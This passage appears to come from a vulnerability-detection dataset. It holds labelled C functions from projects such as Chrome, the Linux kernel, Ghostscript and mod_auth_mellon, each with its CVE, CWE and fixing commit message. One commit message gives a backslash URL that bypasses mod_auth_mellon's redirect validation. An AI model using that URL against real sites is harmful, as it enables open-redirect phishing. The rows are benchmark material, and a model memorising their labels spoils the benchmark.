_signal_jobstep(uint32_t jobid, uint32_t stepid, uid_t req_uid, uint32_t signal) { int fd, rc = SLURM_SUCCESS; uid_t uid; uint16_t protocol_version; /* There will be no stepd if the prolog is still running * Return failure so caller can retry. */ if (_prolog_is_running (jobid)) { info ("signal %d req for %u.%u while prolog is running." " Returning failure.", signal, jobid, stepid); return SLURM_FAILURE; } fd = stepd_connect(conf->spooldir, conf->node_name, jobid, stepid, &protocol_version); if (fd == -1) { debug("signal for nonexistent %u.%u stepd_connect failed: %m", jobid, stepid); return ESLURM_INVALID_JOB_ID; } if ((int)(uid = stepd_get_uid(fd, protocol_version)) < 0) { debug("_signal_jobstep: couldn't read from the step %u.%u: %m", jobid, stepid); rc = ESLURM_INVALID_JOB_ID; goto done2; } if ((req_uid != uid) && (!_slurm_authorized_user(req_uid))) { debug("kill req from uid %ld for job %u.%u owned by uid %ld", (long) req_uid, jobid, stepid, (long) uid); rc = ESLURM_USER_ID_MISSING; /* or bad in this case */ goto done2; } #ifdef HAVE_AIX # ifdef SIGMIGRATE # ifdef SIGSOUND /* SIGMIGRATE and SIGSOUND are used to initiate job checkpoint on AIX. * These signals are not sent to the entire process group, but just a * single process, namely the PMD. */ if (signal == SIGMIGRATE || signal == SIGSOUND) { rc = stepd_signal_task_local(fd, protocol_version, signal, 0); goto done2; } # endif # endif #endif rc = stepd_signal_container(fd, protocol_version, signal); if (rc == -1) rc = ESLURMD_JOB_NOTRUNNING; done2: close(fd); return rc; }
_signal_jobstep(uint32_t jobid, uint32_t stepid, uid_t req_uid, uint32_t signal) { int fd, rc = SLURM_SUCCESS; uid_t uid; uint16_t protocol_version; /* There will be no stepd if the prolog is still running * Return failure so caller can retry. */ if (_prolog_is_running (jobid)) { info ("signal %d req for %u.%u while prolog is running." " Returning failure.", signal, jobid, stepid); return SLURM_FAILURE; } fd = stepd_connect(conf->spooldir, conf->node_name, jobid, stepid, &protocol_version); if (fd == -1) { debug("signal for nonexistent %u.%u stepd_connect failed: %m", jobid, stepid); return ESLURM_INVALID_JOB_ID; } if ((int)(uid = stepd_get_uid(fd, protocol_version)) < 0) { debug("_signal_jobstep: couldn't read from the step %u.%u: %m", jobid, stepid); rc = ESLURM_INVALID_JOB_ID; goto done2; } if ((req_uid != uid) && (!_slurm_authorized_user(req_uid))) { debug("kill req from uid %ld for job %u.%u owned by uid %ld", (long) req_uid, jobid, stepid, (long) uid); rc = ESLURM_USER_ID_MISSING; /* or bad in this case */ goto done2; } #ifdef HAVE_AIX # ifdef SIGMIGRATE # ifdef SIGSOUND /* SIGMIGRATE and SIGSOUND are used to initiate job checkpoint on AIX. * These signals are not sent to the entire process group, but just a * single process, namely the PMD. */ if (signal == SIGMIGRATE || signal == SIGSOUND) { rc = stepd_signal_task_local(fd, protocol_version, signal, 0); goto done2; } # endif # endif #endif rc = stepd_signal_container(fd, protocol_version, signal); if (rc == -1) rc = ESLURMD_JOB_NOTRUNNING; done2: close(fd); return rc; }
C
slurm
0
CVE-2017-5009
https://www.cvedetails.com/cve/CVE-2017-5009/
CWE-119
https://github.com/chromium/chromium/commit/1c40f9042ae2d6ee7483d72998aabb5e73b2ff60
1c40f9042ae2d6ee7483d72998aabb5e73b2ff60
DevTools: send proper resource type in Network.RequestWillBeSent This patch plumbs resoure type into the DispatchWillSendRequest instrumenation. This allows us to report accurate type in Network.RequestWillBeSent event, instead of "Other", that we report today. BUG=765501 R=dgozman Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c Reviewed-on: https://chromium-review.googlesource.com/667504 Reviewed-by: Pavel Feldman <[email protected]> Reviewed-by: Dmitry Gozman <[email protected]> Commit-Queue: Andrey Lushnikov <[email protected]> Cr-Commit-Position: refs/heads/master@{#507936}
void InspectorPageAgent::Did(const probe::UpdateLayout&) { PageLayoutInvalidated(false); }
void InspectorPageAgent::Did(const probe::UpdateLayout&) { PageLayoutInvalidated(false); }
C
Chrome
0
CVE-2015-0274
https://www.cvedetails.com/cve/CVE-2015-0274/
CWE-19
https://github.com/torvalds/linux/commit/8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
xfs: remote attribute overwrite causes transaction overrun Commit e461fcb ("xfs: remote attribute lookups require the value length") passes the remote attribute length in the xfs_da_args structure on lookup so that CRC calculations and validity checking can be performed correctly by related code. This, unfortunately has the side effect of changing the args->valuelen parameter in cases where it shouldn't. That is, when we replace a remote attribute, the incoming replacement stores the value and length in args->value and args->valuelen, but then the lookup which finds the existing remote attribute overwrites args->valuelen with the length of the remote attribute being replaced. Hence when we go to create the new attribute, we create it of the size of the existing remote attribute, not the size it is supposed to be. When the new attribute is much smaller than the old attribute, this results in a transaction overrun and an ASSERT() failure on a debug kernel: XFS: Assertion failed: tp->t_blk_res_used <= tp->t_blk_res, file: fs/xfs/xfs_trans.c, line: 331 Fix this by keeping the remote attribute value length separate to the attribute value length in the xfs_da_args structure. The enables us to pass the length of the remote attribute to be removed without overwriting the new attribute's length. Also, ensure that when we save remote block contexts for a later rename we zero the original state variables so that we don't confuse the state of the attribute to be removes with the state of the new attribute that we just added. [Spotted by Brain Foster.] Signed-off-by: Dave Chinner <[email protected]> Reviewed-by: Brian Foster <[email protected]> Signed-off-by: Dave Chinner <[email protected]>
xfs_attr3_leaf_to_node( struct xfs_da_args *args) { struct xfs_attr_leafblock *leaf; struct xfs_attr3_icleaf_hdr icleafhdr; struct xfs_attr_leaf_entry *entries; struct xfs_da_node_entry *btree; struct xfs_da3_icnode_hdr icnodehdr; struct xfs_da_intnode *node; struct xfs_inode *dp = args->dp; struct xfs_mount *mp = dp->i_mount; struct xfs_buf *bp1 = NULL; struct xfs_buf *bp2 = NULL; xfs_dablk_t blkno; int error; trace_xfs_attr_leaf_to_node(args); error = xfs_da_grow_inode(args, &blkno); if (error) goto out; error = xfs_attr3_leaf_read(args->trans, dp, 0, -1, &bp1); if (error) goto out; error = xfs_da_get_buf(args->trans, dp, blkno, -1, &bp2, XFS_ATTR_FORK); if (error) goto out; /* copy leaf to new buffer, update identifiers */ xfs_trans_buf_set_type(args->trans, bp2, XFS_BLFT_ATTR_LEAF_BUF); bp2->b_ops = bp1->b_ops; memcpy(bp2->b_addr, bp1->b_addr, XFS_LBSIZE(mp)); if (xfs_sb_version_hascrc(&mp->m_sb)) { struct xfs_da3_blkinfo *hdr3 = bp2->b_addr; hdr3->blkno = cpu_to_be64(bp2->b_bn); } xfs_trans_log_buf(args->trans, bp2, 0, XFS_LBSIZE(mp) - 1); /* * Set up the new root node. */ error = xfs_da3_node_create(args, 0, 1, &bp1, XFS_ATTR_FORK); if (error) goto out; node = bp1->b_addr; dp->d_ops->node_hdr_from_disk(&icnodehdr, node); btree = dp->d_ops->node_tree_p(node); leaf = bp2->b_addr; xfs_attr3_leaf_hdr_from_disk(&icleafhdr, leaf); entries = xfs_attr3_leaf_entryp(leaf); /* both on-disk, don't endian-flip twice */ btree[0].hashval = entries[icleafhdr.count - 1].hashval; btree[0].before = cpu_to_be32(blkno); icnodehdr.count = 1; dp->d_ops->node_hdr_to_disk(node, &icnodehdr); xfs_trans_log_buf(args->trans, bp1, 0, XFS_LBSIZE(mp) - 1); error = 0; out: return error; }
xfs_attr3_leaf_to_node( struct xfs_da_args *args) { struct xfs_attr_leafblock *leaf; struct xfs_attr3_icleaf_hdr icleafhdr; struct xfs_attr_leaf_entry *entries; struct xfs_da_node_entry *btree; struct xfs_da3_icnode_hdr icnodehdr; struct xfs_da_intnode *node; struct xfs_inode *dp = args->dp; struct xfs_mount *mp = dp->i_mount; struct xfs_buf *bp1 = NULL; struct xfs_buf *bp2 = NULL; xfs_dablk_t blkno; int error; trace_xfs_attr_leaf_to_node(args); error = xfs_da_grow_inode(args, &blkno); if (error) goto out; error = xfs_attr3_leaf_read(args->trans, dp, 0, -1, &bp1); if (error) goto out; error = xfs_da_get_buf(args->trans, dp, blkno, -1, &bp2, XFS_ATTR_FORK); if (error) goto out; /* copy leaf to new buffer, update identifiers */ xfs_trans_buf_set_type(args->trans, bp2, XFS_BLFT_ATTR_LEAF_BUF); bp2->b_ops = bp1->b_ops; memcpy(bp2->b_addr, bp1->b_addr, XFS_LBSIZE(mp)); if (xfs_sb_version_hascrc(&mp->m_sb)) { struct xfs_da3_blkinfo *hdr3 = bp2->b_addr; hdr3->blkno = cpu_to_be64(bp2->b_bn); } xfs_trans_log_buf(args->trans, bp2, 0, XFS_LBSIZE(mp) - 1); /* * Set up the new root node. */ error = xfs_da3_node_create(args, 0, 1, &bp1, XFS_ATTR_FORK); if (error) goto out; node = bp1->b_addr; dp->d_ops->node_hdr_from_disk(&icnodehdr, node); btree = dp->d_ops->node_tree_p(node); leaf = bp2->b_addr; xfs_attr3_leaf_hdr_from_disk(&icleafhdr, leaf); entries = xfs_attr3_leaf_entryp(leaf); /* both on-disk, don't endian-flip twice */ btree[0].hashval = entries[icleafhdr.count - 1].hashval; btree[0].before = cpu_to_be32(blkno); icnodehdr.count = 1; dp->d_ops->node_hdr_to_disk(node, &icnodehdr); xfs_trans_log_buf(args->trans, bp1, 0, XFS_LBSIZE(mp) - 1); error = 0; out: return error; }
C
linux
0
CVE-2013-2874
https://www.cvedetails.com/cve/CVE-2013-2874/
CWE-264
https://github.com/chromium/chromium/commit/c0da7c1c6e9ffe5006e146b6426f987238d4bf2e
c0da7c1c6e9ffe5006e146b6426f987238d4bf2e
DevTools: handle devtools renderer unresponsiveness during beforeunload event interception This patch fixes the crash which happenes under the following conditions: 1. DevTools window is in undocked state 2. DevTools renderer is unresponsive 3. User attempts to close inspected page BUG=322380 Review URL: https://codereview.chromium.org/84883002 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@237611 0039d316-1c4b-4281-b951-d872f2087c98
void DevToolsWindow::InspectElement(content::RenderViewHost* inspected_rvh, int x, int y) { scoped_refptr<DevToolsAgentHost> agent( DevToolsAgentHost::GetOrCreateFor(inspected_rvh)); agent->InspectElement(x, y); OpenDevToolsWindow(inspected_rvh); }
void DevToolsWindow::InspectElement(content::RenderViewHost* inspected_rvh, int x, int y) { scoped_refptr<DevToolsAgentHost> agent( DevToolsAgentHost::GetOrCreateFor(inspected_rvh)); agent->InspectElement(x, y); OpenDevToolsWindow(inspected_rvh); }
C
Chrome
0
CVE-2011-2200
https://www.cvedetails.com/cve/CVE-2011-2200/
CWE-20
https://cgit.freedesktop.org/dbus/dbus/commit/?h=dbus-1.4&id=c3223ba6c401ba81df1305851312a47c485e6cd7
c3223ba6c401ba81df1305851312a47c485e6cd7
null
_dbus_header_get_field_basic (DBusHeader *header, int field, int type, void *value) { _dbus_assert (field != DBUS_HEADER_FIELD_INVALID); _dbus_assert (field <= DBUS_HEADER_FIELD_LAST); _dbus_assert (_dbus_header_field_types[field].code == field); /* in light of this you might ask why the type is passed in; * the only rationale I can think of is so the caller has * to specify its expectation and breaks if we change it */ _dbus_assert (type == EXPECTED_TYPE_OF_FIELD (field)); if (!_dbus_header_cache_check (header, field)) return FALSE; _dbus_assert (header->fields[field].value_pos >= 0); _dbus_marshal_read_basic (&header->data, header->fields[field].value_pos, type, value, header->byte_order, NULL); return TRUE; }
_dbus_header_get_field_basic (DBusHeader *header, int field, int type, void *value) { _dbus_assert (field != DBUS_HEADER_FIELD_INVALID); _dbus_assert (field <= DBUS_HEADER_FIELD_LAST); _dbus_assert (_dbus_header_field_types[field].code == field); /* in light of this you might ask why the type is passed in; * the only rationale I can think of is so the caller has * to specify its expectation and breaks if we change it */ _dbus_assert (type == EXPECTED_TYPE_OF_FIELD (field)); if (!_dbus_header_cache_check (header, field)) return FALSE; _dbus_assert (header->fields[field].value_pos >= 0); _dbus_marshal_read_basic (&header->data, header->fields[field].value_pos, type, value, header->byte_order, NULL); return TRUE; }
C
dbus
0
CVE-2018-6063
https://www.cvedetails.com/cve/CVE-2018-6063/
CWE-787
https://github.com/chromium/chromium/commit/673ce95d481ea9368c4d4d43ac756ba1d6d9e608
673ce95d481ea9368c4d4d43ac756ba1d6d9e608
Correct mojo::WrapSharedMemoryHandle usage Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which were assuming that the call actually has any control over the memory protection applied to a handle when mapped. Where fixing usage is infeasible for this CL, TODOs are added to annotate follow-up work. Also updates the API and documentation to (hopefully) improve clarity and avoid similar mistakes from being made in the future. BUG=792900 Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477 Reviewed-on: https://chromium-review.googlesource.com/818282 Reviewed-by: Wei Li <[email protected]> Reviewed-by: Lei Zhang <[email protected]> Reviewed-by: John Abd-El-Malek <[email protected]> Reviewed-by: Daniel Cheng <[email protected]> Reviewed-by: Sadrul Chowdhury <[email protected]> Reviewed-by: Yuzhu Shen <[email protected]> Reviewed-by: Robert Sesek <[email protected]> Commit-Queue: Ken Rockot <[email protected]> Cr-Commit-Position: refs/heads/master@{#530268}
void RenderProcessHostImpl::SetIsUsed() { is_unused_ = false; }
void RenderProcessHostImpl::SetIsUsed() { is_unused_ = false; }
C
Chrome
0
CVE-2011-3896
https://www.cvedetails.com/cve/CVE-2011-3896/
CWE-119
https://github.com/chromium/chromium/commit/5925dff83699508b5e2735afb0297dfb310e159d
5925dff83699508b5e2735afb0297dfb310e159d
Implement a bubble that appears at the top of the screen when a tab enters fullscreen mode via webkitRequestFullScreen(), telling the user how to exit fullscreen. This is implemented as an NSView rather than an NSWindow because the floating chrome that appears in presentation mode should overlap the bubble. Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac: the mode in which the UI is hidden, accessible by moving the cursor to the top of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode. On Lion, however, fullscreen mode does not imply presentation mode: in non-presentation fullscreen mode, the chrome is permanently shown. It is possible to switch between presentation mode and fullscreen mode using the presentation mode UI control. When a tab initiates fullscreen mode on Lion, we enter presentation mode if not in presentation mode already. When the user exits fullscreen mode using Chrome UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we return the user to the mode they were in before the tab entered fullscreen. BUG=14471 TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen. Need to test the Lion logic somehow, with no Lion trybots. BUG=96883 Original review http://codereview.chromium.org/7890056/ TBR=thakis Review URL: http://codereview.chromium.org/7920024 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98
void Browser::RunFileChooserHelper( TabContents* tab, const ViewHostMsg_RunFileChooser_Params& params) { Profile* profile = Profile::FromBrowserContext(tab->browser_context()); FileSelectHelper* file_select_helper = new FileSelectHelper(profile); file_select_helper->RunFileChooser(tab->render_view_host(), tab, params); }
void Browser::RunFileChooserHelper( TabContents* tab, const ViewHostMsg_RunFileChooser_Params& params) { Profile* profile = Profile::FromBrowserContext(tab->browser_context()); FileSelectHelper* file_select_helper = new FileSelectHelper(profile); file_select_helper->RunFileChooser(tab->render_view_host(), tab, params); }
C
Chrome
0
CVE-2016-5217
https://www.cvedetails.com/cve/CVE-2016-5217/
CWE-284
https://github.com/chromium/chromium/commit/0d68cbd77addd38909101f76847deea56de00524
0d68cbd77addd38909101f76847deea56de00524
Fix PIP window being blank after minimize/show DesktopWindowTreeHostX11::SetVisible only made the call into OnNativeWidgetVisibilityChanged when transitioning from shown to minimized and not vice versa. This is because this change https://chromium-review.googlesource.com/c/chromium/src/+/1437263 considered IsVisible to be true when minimized, which made IsVisible always true in this case. This caused layers to be hidden but never shown again. This is a reland of: https://chromium-review.googlesource.com/c/chromium/src/+/1580103 Bug: 949199 Change-Id: I2151cd09e537d8ce8781897f43a3b8e9cec75996 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1584617 Reviewed-by: Scott Violet <[email protected]> Commit-Queue: enne <[email protected]> Cr-Commit-Position: refs/heads/master@{#654280}
gfx::Rect DesktopWindowTreeHostX11::ToDIPRect( const gfx::Rect& rect_in_pixels) const { gfx::RectF rect_in_dip = gfx::RectF(rect_in_pixels); GetRootTransform().TransformRectReverse(&rect_in_dip); return gfx::ToEnclosingRect(rect_in_dip); }
gfx::Rect DesktopWindowTreeHostX11::ToDIPRect( const gfx::Rect& rect_in_pixels) const { gfx::RectF rect_in_dip = gfx::RectF(rect_in_pixels); GetRootTransform().TransformRectReverse(&rect_in_dip); return gfx::ToEnclosingRect(rect_in_dip); }
C
Chrome
0
CVE-2018-16080
https://www.cvedetails.com/cve/CVE-2018-16080/
CWE-20
https://github.com/chromium/chromium/commit/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb
c552cd7b8a0862f6b3c8c6a07f98bda3721101eb
Mac: turn popups into new tabs while in fullscreen. It's platform convention to show popups as new tabs while in non-HTML5 fullscreen. (Popups cause tabs to lose HTML5 fullscreen.) This was implemented for Cocoa in a BrowserWindow override, but it makes sense to just stick it into Browser and remove a ton of override code put in just to support this. BUG=858929, 868416 TEST=as in bugs Change-Id: I43471f242813ec1159d9c690bab73dab3e610b7d Reviewed-on: https://chromium-review.googlesource.com/1153455 Reviewed-by: Sidney San Martín <[email protected]> Commit-Queue: Avi Drissman <[email protected]> Cr-Commit-Position: refs/heads/master@{#578755}
void BrowserView::DestroyAnyExclusiveAccessBubble() { exclusive_access_bubble_.reset(); }
void BrowserView::DestroyAnyExclusiveAccessBubble() { exclusive_access_bubble_.reset(); }
C
Chrome
0
CVE-2012-5148
https://www.cvedetails.com/cve/CVE-2012-5148/
CWE-20
https://github.com/chromium/chromium/commit/e89cfcb9090e8c98129ae9160c513f504db74599
e89cfcb9090e8c98129ae9160c513f504db74599
Remove TabContents from TabStripModelObserver::TabDetachedAt. BUG=107201 TEST=no visible change Review URL: https://chromiumcodereview.appspot.com/11293205 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
void TabStripGtk::StopAnimation() { if (active_animation_.get()) active_animation_->Stop(); }
void TabStripGtk::StopAnimation() { if (active_animation_.get()) active_animation_->Stop(); }
C
Chrome
0
CVE-2019-3877
https://www.cvedetails.com/cve/CVE-2019-3877/
CWE-601
https://github.com/Uninett/mod_auth_mellon/commit/62041428a32de402e0be6ba45fe12df6a83bedb8
62041428a32de402e0be6ba45fe12df6a83bedb8
Fix redirect URL validation bypass It turns out that browsers silently convert backslash characters into forward slashes, while apr_uri_parse() does not. This mismatch allows an attacker to bypass the redirect URL validation by using an URL like: https://sp.example.org/mellon/logout?ReturnTo=https:%5c%5cmalicious.example.org/ mod_auth_mellon will assume that it is a relative URL and allow the request to pass through, while the browsers will use it as an absolute url and redirect to https://malicious.example.org/ . This patch fixes this issue by rejecting all redirect URLs with backslashes.
int am_postdir_cleanup(request_rec *r) { am_mod_cfg_rec *mod_cfg; apr_dir_t *postdir; apr_status_t rv; char error_buffer[64]; apr_finfo_t afi; char *fname; int count; apr_time_t expire_before; mod_cfg = am_get_mod_cfg(r->server); /* The oldes file we should keep. Delete files that are older. */ expire_before = apr_time_now() - mod_cfg->post_ttl * APR_USEC_PER_SEC; /* * Open our POST directory or create it. */ rv = apr_dir_open(&postdir, mod_cfg->post_dir, r->pool); if (rv != 0) { AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r, "Unable to open MellonPostDirectory \"%s\": %s", mod_cfg->post_dir, apr_strerror(rv, error_buffer, sizeof(error_buffer))); return HTTP_INTERNAL_SERVER_ERROR; } /* * Purge outdated items */ count = 0; do { rv = apr_dir_read(&afi, APR_FINFO_NAME|APR_FINFO_CTIME, postdir); if (rv != OK) break; /* Skip dot_files */ if (afi.name[0] == '.') continue; if (afi.ctime < expire_before) { fname = apr_psprintf(r->pool, "%s/%s", mod_cfg->post_dir, afi.name); (void)apr_file_remove(fname , r->pool); } else { count++; } } while (1 /* CONSTCOND */); (void)apr_dir_close(postdir); if (count >= mod_cfg->post_count) { AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r, "Too many saved POST sessions. " "Increase MellonPostCount directive."); return HTTP_INTERNAL_SERVER_ERROR; } return OK; }
int am_postdir_cleanup(request_rec *r) { am_mod_cfg_rec *mod_cfg; apr_dir_t *postdir; apr_status_t rv; char error_buffer[64]; apr_finfo_t afi; char *fname; int count; apr_time_t expire_before; mod_cfg = am_get_mod_cfg(r->server); /* The oldes file we should keep. Delete files that are older. */ expire_before = apr_time_now() - mod_cfg->post_ttl * APR_USEC_PER_SEC; /* * Open our POST directory or create it. */ rv = apr_dir_open(&postdir, mod_cfg->post_dir, r->pool); if (rv != 0) { AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r, "Unable to open MellonPostDirectory \"%s\": %s", mod_cfg->post_dir, apr_strerror(rv, error_buffer, sizeof(error_buffer))); return HTTP_INTERNAL_SERVER_ERROR; } /* * Purge outdated items */ count = 0; do { rv = apr_dir_read(&afi, APR_FINFO_NAME|APR_FINFO_CTIME, postdir); if (rv != OK) break; /* Skip dot_files */ if (afi.name[0] == '.') continue; if (afi.ctime < expire_before) { fname = apr_psprintf(r->pool, "%s/%s", mod_cfg->post_dir, afi.name); (void)apr_file_remove(fname , r->pool); } else { count++; } } while (1 /* CONSTCOND */); (void)apr_dir_close(postdir); if (count >= mod_cfg->post_count) { AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r, "Too many saved POST sessions. " "Increase MellonPostCount directive."); return HTTP_INTERNAL_SERVER_ERROR; } return OK; }
C
mod_auth_mellon
0
CVE-2013-7421
https://www.cvedetails.com/cve/CVE-2013-7421/
CWE-264
https://github.com/torvalds/linux/commit/5d26a105b5a73e5635eae0629b42fa0a90e07b7b
5d26a105b5a73e5635eae0629b42fa0a90e07b7b
crypto: prefix module autoloading with "crypto-" This prefixes all crypto module loading with "crypto-" so we never run the risk of exposing module auto-loading to userspace via a crypto API, as demonstrated by Mathias Krause: https://lkml.org/lkml/2013/3/4/70 Signed-off-by: Kees Cook <[email protected]> Signed-off-by: Herbert Xu <[email protected]>
static int lrw_cast6_setkey(struct crypto_tfm *tfm, const u8 *key, unsigned int keylen) { struct cast6_lrw_ctx *ctx = crypto_tfm_ctx(tfm); int err; err = __cast6_setkey(&ctx->cast6_ctx, key, keylen - CAST6_BLOCK_SIZE, &tfm->crt_flags); if (err) return err; return lrw_init_table(&ctx->lrw_table, key + keylen - CAST6_BLOCK_SIZE); }
static int lrw_cast6_setkey(struct crypto_tfm *tfm, const u8 *key, unsigned int keylen) { struct cast6_lrw_ctx *ctx = crypto_tfm_ctx(tfm); int err; err = __cast6_setkey(&ctx->cast6_ctx, key, keylen - CAST6_BLOCK_SIZE, &tfm->crt_flags); if (err) return err; return lrw_init_table(&ctx->lrw_table, key + keylen - CAST6_BLOCK_SIZE); }
C
linux
0
CVE-2017-16358
https://www.cvedetails.com/cve/CVE-2017-16358/
CWE-125
https://github.com/radare/radare2/commit/d31c4d3cbdbe01ea3ded16a584de94149ecd31d9
d31c4d3cbdbe01ea3ded16a584de94149ecd31d9
Fix #8748 - Fix oobread on string search
static RBinFile *r_bin_file_find_by_id(RBin *bin, ut32 binfile_id) { RBinFile *binfile = NULL; RListIter *iter = NULL; r_list_foreach (bin->binfiles, iter, binfile) { if (binfile->id == binfile_id) { break; } binfile = NULL; } return binfile; }
static RBinFile *r_bin_file_find_by_id(RBin *bin, ut32 binfile_id) { RBinFile *binfile = NULL; RListIter *iter = NULL; r_list_foreach (bin->binfiles, iter, binfile) { if (binfile->id == binfile_id) { break; } binfile = NULL; } return binfile; }
C
radare2
0
CVE-2017-9739
https://www.cvedetails.com/cve/CVE-2017-9739/
CWE-125
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=c501a58f8d5650c8ba21d447c0d6f07eafcb0f15
c501a58f8d5650c8ba21d447c0d6f07eafcb0f15
null
static void Ins_RDTG( INS_ARG ) { (void)args; CUR.GS.round_state = TT_Round_Down_To_Grid; CUR.func_round = (TRound_Function)Round_Down_To_Grid; }
static void Ins_RDTG( INS_ARG ) { (void)args; CUR.GS.round_state = TT_Round_Down_To_Grid; CUR.func_round = (TRound_Function)Round_Down_To_Grid; }
C
ghostscript
0
CVE-2018-16540
https://www.cvedetails.com/cve/CVE-2018-16540/
CWE-416
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=c432131c3fdb2143e148e8ba88555f7f7a63b25e
c432131c3fdb2143e148e8ba88555f7f7a63b25e
null
pdf14_begin_typed_image(gx_device * dev, const gs_gstate * pgs, const gs_matrix *pmat, const gs_image_common_t *pic, const gs_int_rect * prect, const gx_drawing_color * pdcolor, const gx_clip_path * pcpath, gs_memory_t * mem, gx_image_enum_common_t ** pinfo) { const gs_image_t *pim = (const gs_image_t *)pic; int code; /* If we are filling an image mask with a pattern that has a transparency then we need to do some special handling */ if (pim->ImageMask) { if (pdcolor != NULL && gx_dc_is_pattern1_color(pdcolor)) { if( gx_pattern1_get_transptr(pdcolor) != NULL){ /* If we are in a final run through here for this case then go ahead and push the transparency group. Also, update the proc for the pattern color so that we used the appropriate fill operation. Note that the group is popped and the proc will be reset when we flush the image data. This is handled in a special pdf14 image renderer which will end up installed for this case. Detect setting of begin_image to gx_no_begin_image. (final recursive call) */ if (dev_proc(dev, begin_image) != gx_default_begin_image) { code = pdf14_patt_trans_image_fill(dev, pgs, pmat, pic, prect, pdcolor, pcpath, mem, pinfo); return code; } } } } pdf14_set_marking_params(dev, pgs); return gx_default_begin_typed_image(dev, pgs, pmat, pic, prect, pdcolor, pcpath, mem, pinfo); }
pdf14_begin_typed_image(gx_device * dev, const gs_gstate * pgs, const gs_matrix *pmat, const gs_image_common_t *pic, const gs_int_rect * prect, const gx_drawing_color * pdcolor, const gx_clip_path * pcpath, gs_memory_t * mem, gx_image_enum_common_t ** pinfo) { const gs_image_t *pim = (const gs_image_t *)pic; int code; /* If we are filling an image mask with a pattern that has a transparency then we need to do some special handling */ if (pim->ImageMask) { if (pdcolor != NULL && gx_dc_is_pattern1_color(pdcolor)) { if( gx_pattern1_get_transptr(pdcolor) != NULL){ /* If we are in a final run through here for this case then go ahead and push the transparency group. Also, update the proc for the pattern color so that we used the appropriate fill operation. Note that the group is popped and the proc will be reset when we flush the image data. This is handled in a special pdf14 image renderer which will end up installed for this case. Detect setting of begin_image to gx_no_begin_image. (final recursive call) */ if (dev_proc(dev, begin_image) != gx_default_begin_image) { code = pdf14_patt_trans_image_fill(dev, pgs, pmat, pic, prect, pdcolor, pcpath, mem, pinfo); return code; } } } } pdf14_set_marking_params(dev, pgs); return gx_default_begin_typed_image(dev, pgs, pmat, pic, prect, pdcolor, pcpath, mem, pinfo); }
C
ghostscript
0
CVE-2016-0798
https://www.cvedetails.com/cve/CVE-2016-0798/
CWE-399
https://git.openssl.org/?p=openssl.git;a=commit;h=259b664f950c2ba66fbf4b0fe5281327904ead21
259b664f950c2ba66fbf4b0fe5281327904ead21
null
static int SRP_user_pwd_set_sv(SRP_user_pwd *vinfo, const char *s, const char *v) { unsigned char tmp[MAX_LEN]; int len; if (strlen(s) > MAX_LEN || strlen(v) > MAX_LEN) return 0; len = t_fromb64(tmp, v); if (NULL == (vinfo->v = BN_bin2bn(tmp, len, NULL))) return 0; len = t_fromb64(tmp, s); return ((vinfo->s = BN_bin2bn(tmp, len, NULL)) != NULL); }
static int SRP_user_pwd_set_sv(SRP_user_pwd *vinfo, const char *s, const char *v) { unsigned char tmp[MAX_LEN]; int len; if (strlen(s) > MAX_LEN || strlen(v) > MAX_LEN) return 0; len = t_fromb64(tmp, v); if (NULL == (vinfo->v = BN_bin2bn(tmp, len, NULL))) return 0; len = t_fromb64(tmp, s); return ((vinfo->s = BN_bin2bn(tmp, len, NULL)) != NULL); }
C
openssl
0
CVE-2012-3520
https://www.cvedetails.com/cve/CVE-2012-3520/
CWE-287
https://github.com/torvalds/linux/commit/e0e3cea46d31d23dc40df0a49a7a2c04fe8edfea
e0e3cea46d31d23dc40df0a49a7a2c04fe8edfea
af_netlink: force credentials passing [CVE-2012-3520] Pablo Neira Ayuso discovered that avahi and potentially NetworkManager accept spoofed Netlink messages because of a kernel bug. The kernel passes all-zero SCM_CREDENTIALS ancillary data to the receiver if the sender did not provide such data, instead of not including any such data at all or including the correct data from the peer (as it is the case with AF_UNIX). This bug was introduced in commit 16e572626961 (af_unix: dont send SCM_CREDENTIALS by default) This patch forces passing credentials for netlink, as before the regression. Another fix would be to not add SCM_CREDENTIALS in netlink messages if not provided by the sender, but it might break some programs. With help from Florian Weimer & Petr Matousek This issue is designated as CVE-2012-3520 Signed-off-by: Eric Dumazet <[email protected]> Cc: Petr Matousek <[email protected]> Cc: Florian Weimer <[email protected]> Cc: Pablo Neira Ayuso <[email protected]> Signed-off-by: David S. Miller <[email protected]>
__releases(nl_table_lock) { write_unlock_irq(&nl_table_lock); wake_up(&nl_table_wait); }
__releases(nl_table_lock) { write_unlock_irq(&nl_table_lock); wake_up(&nl_table_wait); }
C
linux
0
CVE-2017-5061
https://www.cvedetails.com/cve/CVE-2017-5061/
CWE-362
https://github.com/chromium/chromium/commit/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34
5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34
(Reland) Discard compositor frames from unloaded web content This is a reland of https://codereview.chromium.org/2707243005/ with a small change to fix an uninitialized memory error that fails on MSAN bots. BUG=672847 [email protected], [email protected] CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation Review-Url: https://codereview.chromium.org/2731283003 Cr-Commit-Position: refs/heads/master@{#454954}
